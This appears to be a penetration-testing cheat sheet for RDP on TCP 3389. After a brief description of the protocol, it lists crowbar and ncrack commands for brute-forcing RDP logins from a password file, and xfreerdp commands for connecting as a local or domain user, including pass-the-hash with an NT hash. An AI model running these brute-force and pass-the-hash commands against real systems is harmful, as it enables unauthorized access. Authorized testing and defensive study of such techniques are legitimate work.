TCP 3389: RDP

Remote Desktop Protocol is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software.

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Brute force credentials


crowbar -b -rdp -s <ip>/32 -u <user> -C <password-file> -n 1


ncrack -vv --user <user> -P <password-file> rdp://<ip>

Connect (authenticated)

Local user

xfreerdp /u:<user> /v:<ip> +clipboard

Domain user

xfreerdp /d:<domain> /u:<user> /v:<ip> +clipboard

Domain user (PtH)

xfreerdp /d:<domain> /u:<user> /pth:<nt-hash> /v:<ip> +clipboard


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